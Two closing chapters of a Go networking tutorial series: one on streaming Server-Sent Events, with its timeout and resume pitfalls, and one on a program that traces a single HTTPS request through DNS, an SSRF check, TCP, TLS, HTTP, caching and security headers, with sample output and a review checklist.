Chapter 24 — Streaming over HTTP: Server-Sent Events, WebSockets, and long-lived connections

id: 42
event: tick
data: {"n":42}

: this line is a comment, used as a heartbeat

// sse: Server-Sent Events -- a long-lived HTTP response that streams events --
// and the production details that break it: flushing, heartbeats, resuming
// with Last-Event-ID, and a server WriteTimeout that silently cuts streams.
//
//	go run ./sse                 # runs the server and two clients, prints a timeline
//	go run ./sse -serve :8090    # then: curl -N localhost:8090/events
package main

import (
	"bufio"
	"flag"
	"fmt"
	"net/http"
	"net/http/httptest"
	"strconv"
	"strings"
	"time"
)

// events streams one event per second. If extend is true, it pushes its own
// write deadline forward before every write, so a server-wide WriteTimeout
// (meant for normal requests) doesn't kill this long-lived stream.
func events(extend bool) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		rc := http.NewResponseController(w) // Go 1.20+: Flush, SetWriteDeadline per request
		w.Header().Set("Content-Type", "text/event-stream")
		w.Header().Set("Cache-Control", "no-cache")
		w.Header().Set("X-Accel-Buffering", "no") // tells nginx not to buffer this response

		id := 0
		if last := r.Header.Get("Last-Event-ID"); last != "" { // a reconnecting client resumes
			id, _ = strconv.Atoi(last)
		}
		tick := time.NewTicker(time.Second)
		defer tick.Stop()
		for {
			select {
			case <-r.Context().Done(): // client went away: stop working for it
				return
			case <-tick.C:
				if extend {
					rc.SetWriteDeadline(time.Now().Add(10 * time.Second))
				}
				id++
				if id%5 == 0 {
					fmt.Fprint(w, ": heartbeat\n\n") // a comment line: keeps proxies/NATs from idling us out
				}
				_, err := fmt.Fprintf(w, "id: %d\nevent: tick\ndata: {\"n\":%d}\n\n", id, id)
				if err == nil {
					err = rc.Flush() // without this, events sit in a buffer
				}
				if err != nil {
					return
				}
			}
		}
	}
}

func main() {
	serve := flag.String("serve", "", "just run the server on this address")
	flag.Parse()
	mux := http.NewServeMux()
	mux.Handle("/events", events(true))
	mux.Handle("/events-naive", events(false))
	srv := &http.Server{Handler: mux, ReadHeaderTimeout: 5 * time.Second,
		WriteTimeout: 3 * time.Second} // a "sensible" timeout for normal requests...
	if *serve != "" {
		srv.Addr = *serve
		fmt.Println("serving SSE on", *serve, "-- try: curl -N localhost"+*serve+"/events")
		srv.ListenAndServe()
		return
	}

	ts := httptest.NewUnstartedServer(mux)
	ts.Config = srv
	ts.Start()
	defer ts.Close()

	for _, path := range []string{"/events-naive", "/events"} {
		fmt.Printf("== %s (server WriteTimeout = 3s)\n", path)
		listen(ts.URL+path, "", 6*time.Second)
	}
	fmt.Println("== /events again, resuming with Last-Event-ID: 4")
	listen(ts.URL+"/events", "4", 2500*time.Millisecond)
}

func listen(url, lastID string, d time.Duration) {
	req, _ := http.NewRequest("GET", url, nil)
	if lastID != "" {
		req.Header.Set("Last-Event-ID", lastID)
	}
	start := time.Now()
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer resp.Body.Close()
	sc := bufio.NewScanner(resp.Body)
	done := time.After(d - time.Since(start)) // d counts from the request, not the headers
	lines := make(chan string)
	go func() {
		for sc.Scan() {
			lines <- sc.Text()
		}
		close(lines)
	}()
	for {
		select {
		case <-done:
			fmt.Printf("  %4.1fs  (client stops listening)\n\n", time.Since(start).Seconds())
			return
		case l, ok := <-lines:
			if !ok {
				fmt.Printf("  %4.1fs  STREAM CUT by the server (%v)\n\n", time.Since(start).Seconds(), sc.Err())
				return
			}
			if strings.HasPrefix(l, "data:") || strings.HasPrefix(l, ":") {
				fmt.Printf("  %4.1fs  %s\n", time.Since(start).Seconds(), l)
			}
		}
	}
}

$ go run ./sse
== /events-naive (server WriteTimeout = 3s)
   1.0s  data: {"n":1}
   2.0s  data: {"n":2}
   3.0s  STREAM CUT by the server (unexpected EOF)

== /events (server WriteTimeout = 3s)
   1.0s  data: {"n":1}
   2.0s  data: {"n":2}
   3.0s  data: {"n":3}
   4.0s  data: {"n":4}
   5.0s  : heartbeat
   5.0s  data: {"n":5}
   6.0s  (client stops listening)

== /events again, resuming with Last-Event-ID: 4
   1.0s  : heartbeat
   1.0s  data: {"n":5}
   2.0s  data: {"n":6}
   2.5s  (client stops listening)

Chapter 25 — One HTTPS request, every layer, every guide

// walkthrough: the whole series in one program. It makes one real HTTPS
// request and reports every step -- operating system, network, security,
// HTTP -- with the guide and chapter that explains it.
//
//	go run ./walkthrough https://example.com/
package main

import (
	"context"
	"crypto/tls"
	"crypto/x509"
	"errors"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/http/httptrace"
	"net/netip"
	"net/url"
	"os"
	"runtime"
	"strings"
	"syscall"
	"time"
)

func step(n int, layer, title, ref string) {
	fmt.Printf("\n%2d. [%s] %s\n    see: %s\n", n, layer, title, ref)
}

func detail(format string, a ...any) { fmt.Printf("    "+format+"\n", a...) }

// openFDs counts this process's open file descriptors by asking the kernel
// about each number in turn (works on Linux and macOS; /proc/self/fd is Linux-only).
func openFDs() int {
	n := 0
	for fd := 0; fd < 4096; fd++ {
		var st syscall.Stat_t
		if syscall.Fstat(fd, &st) == nil {
			n++
		}
	}
	return n
}

// publicOnly is the SSRF guard: runs after DNS, before connect().
func publicOnly(_, address string, _ syscall.RawConn) error {
	ap, err := netip.ParseAddrPort(address)
	if err != nil {
		return err
	}
	ip := ap.Addr().Unmap()
	if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsUnspecified() || ip.IsMulticast() {
		return fmt.Errorf("blocked non-public address %s", ip)
	}
	return nil
}

func main() {
	if len(os.Args) != 2 {
		fmt.Println("usage: walkthrough https://host/path")
		os.Exit(2)
	}
	u, err := url.Parse(os.Args[1])
	if err != nil || u.Scheme != "https" {
		fmt.Println("need an https:// URL")
		os.Exit(2)
	}
	host := u.Hostname()

	step(1, "OS", "the process that will make the request",
		"Linux guide Ch 73 (threads), Ch 75 (GOMAXPROCS), Ch 78 (file descriptors)")
	detail("pid %d, GOMAXPROCS %d, goroutines %d, open file descriptors %d",
		os.Getpid(), runtime.GOMAXPROCS(0), runtime.NumGoroutine(), openFDs())

	step(2, "L7 DNS", "resolve the name", "TCP/IP guide Ch 18 (dnsquery), HTTPS guide Ch 2")
	t0 := time.Now()
	ips, err := net.DefaultResolver.LookupNetIP(context.Background(), "ip", host)
	if err != nil {
		detail("FAILED: %v", err)
		os.Exit(1)
	}
	detail("%s -> %v in %v", host, ips, time.Since(t0).Round(time.Millisecond))

	step(3, "Security", "is it safe to connect? (SSRF pre-flight on the resolved addresses)",
		"HTTPS guide Ch 22 (ssrfguard), Security in Depth Ch 33 (SSRF)")
	for _, ip := range ips {
		if err := publicOnly("tcp", netip.AddrPortFrom(ip, 443).String(), nil); err != nil {
			detail("REFUSED: %v", err)
			os.Exit(1)
		}
	}
	detail("all %d addresses are public; the same check runs again inside the dialer at connect time", len(ips))

	// One client, reused for both requests: a connection pool (HTTPS guide Ch 17).
	var tlsState tls.ConnectionState
	client := &http.Client{
		Timeout: 15 * time.Second,
		Transport: &http.Transport{
			DialContext:       (&net.Dialer{Timeout: 5 * time.Second, Control: publicOnly}).DialContext,
			ForceAttemptHTTP2: true,
			TLSClientConfig: &tls.Config{
				MinVersion: tls.VersionTLS12,
				VerifyConnection: func(cs tls.ConnectionState) error { // runs after normal verification
					tlsState = cs
					return nil
				},
			},
		},
	}

	var connStart, connDone, tlsStart, tlsDone, wrote, first time.Time
	var remote, local string
	var reused bool
	trace := &httptrace.ClientTrace{
		ConnectStart: func(_, _ string) { connStart = time.Now() },
		ConnectDone: func(_, addr string, err error) {
			connDone, remote = time.Now(), addr
		},
		TLSHandshakeStart:    func() { tlsStart = time.Now() },
		TLSHandshakeDone:     func(tls.ConnectionState, error) { tlsDone = time.Now() },
		GotConn:              func(i httptrace.GotConnInfo) { reused, local = i.Reused, i.Conn.LocalAddr().String() },
		WroteRequest:         func(httptrace.WroteRequestInfo) { wrote = time.Now() },
		GotFirstResponseByte: func() { first = time.Now() },
	}

	start := time.Now()
	req, _ := http.NewRequestWithContext(httptrace.WithClientTrace(context.Background(), trace), "GET", u.String(), nil)
	resp, err := client.Do(req)
	if err != nil {
		var ce *tls.CertificateVerificationError
		if errors.As(err, &ce) {
			detail("TLS verification FAILED: %v", ce.Err)
		} else {
			detail("request FAILED: %v", err)
		}
		os.Exit(1)
	}
	body, _ := io.Copy(io.Discard, resp.Body)
	resp.Body.Close()
	end := time.Now()

	step(4, "L3/L4 TCP", "three-way handshake", "OSI guide Part 6, TCP/IP guide Ch 21 (dialcheck), Ch 12 (NAT)")
	detail("%s -> %s, connect took %v (~1 round trip)", local, remote, connDone.Sub(connStart).Round(time.Millisecond))

	step(5, "L5/L6 TLS", "encrypted, authenticated channel", "HTTPS guide Ch 4 & 16, TCP/IP guide Ch 29 & 56, Security from Zero (TLS, PKI)")
	detail("%s, %s, ALPN %q, handshake %v", tls.VersionName(tlsState.Version),
		tls.CipherSuiteName(tlsState.CipherSuite), tlsState.NegotiatedProtocol, tlsDone.Sub(tlsStart).Round(time.Millisecond))
	if len(tlsState.VerifiedChains) > 0 {
		chain := tlsState.VerifiedChains[0]
		leaf := chain[0]
		detail("certificate for %v, issued by %q, %d days left", leaf.DNSNames, leaf.Issuer.CommonName,
			int(time.Until(leaf.NotAfter).Hours()/24))
		detail("chain verified to root %q in this machine's trust store", chain[len(chain)-1].Subject.CommonName)
		checkKey(leaf)
	}

	step(6, "L7 HTTP", "request and response", "HTTPS guide Ch 5 (HTTP), Ch 14 (versions), Ch 17 (httptrace)")
	detail("%s %s, %d bytes; server think time + 1 RTT (TTFB) %v; total %v",
		resp.Proto, resp.Status, body, first.Sub(wrote).Round(time.Millisecond), end.Sub(start).Round(time.Millisecond))
	if alt := resp.Header.Get("Alt-Svc"); alt != "" {
		detail("Alt-Svc: %s  (HTTP/3 offered for next time)", alt)
	}

	step(7, "L7 cache", "who may cache this response, and did a cache answer?", "HTTPS guide Ch 10 & 15 (edgecache), Security in Depth Ch 31")
	for _, h := range []string{"Cache-Control", "Age", "Vary", "ETag", "CF-Cache-Status", "X-Cache"} {
		if v := resp.Header.Get(h); v != "" {
			detail("%-16s %s", h+":", v)
		}
	}

	step(8, "Security", "browser-side defences the server asked for", "HTTPS guide Ch 12 & 19, Security in Depth Part 6")
	for _, h := range []string{"Strict-Transport-Security", "Content-Security-Policy", "X-Content-Type-Options",
		"Referrer-Policy", "X-Frame-Options", "Permissions-Policy"} {
		v := resp.Header.Get(h)
		mark := "present"
		if v == "" {
			mark, v = "MISSING", ""
		}
		if len(v) > 60 {
			v = v[:60] + "..."
		}
		detail("%-26s %-8s %s", h, mark, v)
	}

	step(9, "L4/L5 reuse", "a second request on the same client", "OSI guide Part 7, HTTPS guide Ch 17")
	start = time.Now()
	req2, _ := http.NewRequestWithContext(httptrace.WithClientTrace(context.Background(), trace), "GET", u.String(), nil)
	if resp2, err := client.Do(req2); err == nil {
		io.Copy(io.Discard, resp2.Body)
		resp2.Body.Close()
		detail("reused connection: %v, total %v (no DNS, TCP, or TLS this time)", reused, time.Since(start).Round(time.Millisecond))
	}

	step(10, "OS", "what the request cost the process", "Linux guide Ch 73 & 78, TCP/IP guide Ch 23 (connection states)")
	detail("goroutines %d, open file descriptors %d (the pooled connection stays open for reuse)",
		runtime.NumGoroutine(), openFDs())
	fmt.Println()
}

// checkKey applies a tiny policy check to the leaf certificate (Security in
// Depth Ch 59/61: policy as code).
func checkKey(c *x509.Certificate) {
	lifetime := int(c.NotAfter.Sub(c.NotBefore).Hours() / 24)
	verdict := "ok"
	if lifetime > 398 {
		verdict = "longer than browsers accept"
	}
	detail("key %s, lifetime %d days (%s)", strings.ToLower(c.PublicKeyAlgorithm.String()), lifetime, verdict)
}

 1. [OS] the process that will make the request
    see: Linux guide Ch 73 (threads), Ch 75 (GOMAXPROCS), Ch 78 (file descriptors)
    pid 87003, GOMAXPROCS 14, goroutines 1, open file descriptors 3

 2. [L7 DNS] resolve the name
    see: TCP/IP guide Ch 18 (dnsquery), HTTPS guide Ch 2
    example.com -> [104.20.23.154 172.66.147.243 2606:4700:83b5:72db:f2fe:4b1:ef6b:ff98] in 38ms

 3. [Security] is it safe to connect? (SSRF pre-flight on the resolved addresses)
    see: HTTPS guide Ch 22 (ssrfguard), Security in Depth Ch 33 (SSRF)
    all 3 addresses are public; the same check runs again inside the dialer at connect time

 4. [L3/L4 TCP] three-way handshake
    see: OSI guide Part 6, TCP/IP guide Ch 21 (dialcheck), Ch 12 (NAT)
    192.168.1.2:58567 -> 104.20.23.154:443, connect took 17ms (~1 round trip)

 5. [L5/L6 TLS] encrypted, authenticated channel
    see: HTTPS guide Ch 4 & 16, TCP/IP guide Ch 29 & 56, Security from Zero (TLS, PKI)
    TLS 1.3, TLS_AES_128_GCM_SHA256, ALPN "h2", handshake 25ms
    certificate for [example.com *.example.com], issued by "Cloudflare TLS Issuing ECC CA 3", 83 days left
    chain verified to root "SSL.com TLS ECC Root CA 2022" in this machine's trust store
    key ecdsa, lifetime 90 days (ok)

 6. [L7 HTTP] request and response
    see: HTTPS guide Ch 5 (HTTP), Ch 14 (versions), Ch 17 (httptrace)
    HTTP/2.0 200 OK, 577 bytes; server think time + 1 RTT (TTFB) 19ms; total 63ms
    Alt-Svc: h3=":443"; ma=86400  (HTTP/3 offered for next time)

 7. [L7 cache] who may cache this response, and did a cache answer?
    see: HTTPS guide Ch 10 & 15 (edgecache), Security in Depth Ch 31
    Age:             5408
    CF-Cache-Status: HIT

 8. [Security] browser-side defences the server asked for
    see: HTTPS guide Ch 12 & 19, Security in Depth Part 6
    Strict-Transport-Security  MISSING
    Content-Security-Policy    MISSING
    X-Content-Type-Options     MISSING
    Referrer-Policy            MISSING
    X-Frame-Options            MISSING
    Permissions-Policy         MISSING

 9. [L4/L5 reuse] a second request on the same client
    see: OSI guide Part 7, HTTPS guide Ch 17
    reused connection: true, total 21ms (no DNS, TCP, or TLS this time)

10. [OS] what the request cost the process
    see: Linux guide Ch 73 & 78, TCP/IP guide Ch 23 (connection states)
    goroutines 2, open file descriptors 7 (the pooled connection stays open for reuse)

Reading the output, step by step

• 1 → 10, the process: 3 file descriptors before (stdin, stdout, stderr) and 7 after: the pooled TLS connection, plus the runtime's netpoller (epoll on Linux, kqueue on macOS) and its wakeup descriptors. The connection stays open on purpose, waiting for reuse (Linux Ch 78). One extra goroutine is reading from it (Linux Ch 73).
• 2, DNS: three addresses, two IPv4 and one IPv6, in 38 ms. A CDN's anycast front door (HTTPS Ch 7).
• 3, security before connecting: every address is public, so a server making this request on a user's behalf is not being steered into its own network. Point the program at https://localtest.me/ and it stops here: REFUSED: blocked non-public address ::1.
• 4, TCP: 17 ms to connect, which is one round trip. Your private source address (192.168.1.2) is rewritten by NAT on the way out (TCP/IP Ch 12).
• 5, TLS: TLS 1.3 in one round trip, HTTP/2 chosen by ALPN, a 90-day ECDSA certificate verified to a root in this machine's trust store. Point it at https://expired.badssl.com/ and it stops here with x509: certificate has expired.
• 6, HTTP: TTFB 19 ms ≈ 1 RTT, so the server spent almost no time thinking. That fits step 7.
• 7, cache: CF-Cache-Status: HIT with Age: 5408. The CDN answered from a copy about 90 minutes old, and the origin never saw this request.
• 8, security headers: example.com sends none of them. That's fine for a static placeholder page, and a finding for any real application. Compare with https://github.com/, which sends HSTS with preload.
• 9, reuse: 21 ms instead of 63 ms. No DNS, no TCP, no TLS: the cheapest performance win in the series.

Exercises:

1. Run it against your own service from inside and outside your network, and explain every difference using the guide each step points to.
2. Add an -insecure-lab mode that skips step 3 for local testing, and make sure it can't be enabled in production builds.
3. On Linux, add a step that reads TCP_INFO for the live connection (RTT, congestion window) using the TCP/IP guide's tcpinfo lab.
4. Add a step that runs Chapter 20's checks on the response path: does a proxy in front add X-Forwarded-For, and would your app trust it?

Turning the walkthrough into a review checklist

The same ten steps make a design-review checklist for any HTTPS service:

 1  Process      runs non-root, limits set, GOMAXPROCS/GOMEMLIMIT right?      Linux Ch 75-76, 82
 2  DNS          TTLs planned, two providers for critical names, DNSSEC?      TCP/IP Ch 55
 3  Outbound     user-supplied URLs fetched through an SSRF-safe client?      HTTPS Ch 22
 4  Transport    timeouts on every hop, idle timeouts nested, pools sized?    HTTPS Ch 19, TCP/IP Ch 57
 5  TLS          automated certificates, inventory, expiry alerts, mTLS east-west?  HTTPS Ch 16, Security Ch 23
 6  HTTP         idempotency on writes, retries at ONE layer, SLOs defined?   HTTPS Ch 21, 23
 7  Cache        every response has an explicit Cache-Control, Vary correct?  HTTPS Ch 15
 8  Headers      HSTS, CSP, nosniff, frame-ancestors on every response?       HTTPS Ch 19
 9  Reuse        keep-alive tuned, graceful shutdown drains connections?      TCP/IP Ch 57, Linux Ch 82
10  Evidence     logs, metrics, traces, tamper-evident audit trail?           Security Ch 51-52

You've completed the series

From the kernel to the browser: OS, networking, security, and one HTTPS request traced through all of them. Go back to any step with the series map, or take the Go 120-day plan's capstone, a cloud-edge security proxy that uses every guide at once.

That's the practical lifecycle — from pressing Enter to a rendered, secured, monitored page, and the major mechanisms in between. If you've read straight through, you now have a single coherent model connecting DNS, TCP, TLS, HTTP, global routing, proxies, load balancers, CDNs, rendering, security, traffic engineering, and production operations — pieces that are usually taught as separate, unrelated subjects.

Where to go next, if you want to go deeper on any one piece:

• Networking from Zero (TCP/IP): a slower, hands-on companion for Parts 1–4 here, with home-lab exercises, packet-capture practice, subnetting drills, and 23 Go labs (a DNS client from raw bytes, a pcap decoder, a load balancer with draining, and more).
• The OSI Model, One Click at a Time: the same request seen layer by layer, with a millisecond timeline and a debugging playbook organised by layer. Good for teaching others.
• Operating Systems, Linux, and Containers: Parts 11 and 19 cover Linux's own networking and operations view, and Parts 14–17 cover the containers and Kubernetes your HTTPS services run in.
• Go — The Complete Field Guide and the Go 120-day plan: Part 9's labs grow into the plan's multi-week projects: a TLS reverse proxy, a WAF, API security, DDoS defences, and a cloud-edge security proxy capstone.
• security/real-life-guide.md and security/real-life-security-guide-v1.md: Chapter 12 here is a survey; those guides go deep on threat modeling, PKI operations, and exploitation the way a security engineer needs.
• scale-perf/real-life-scale-guide.md: if Chapters 9, 10, 17, and 21 made you want to load-test one of these systems, this is the hands-on, tool-by-tool guide for that.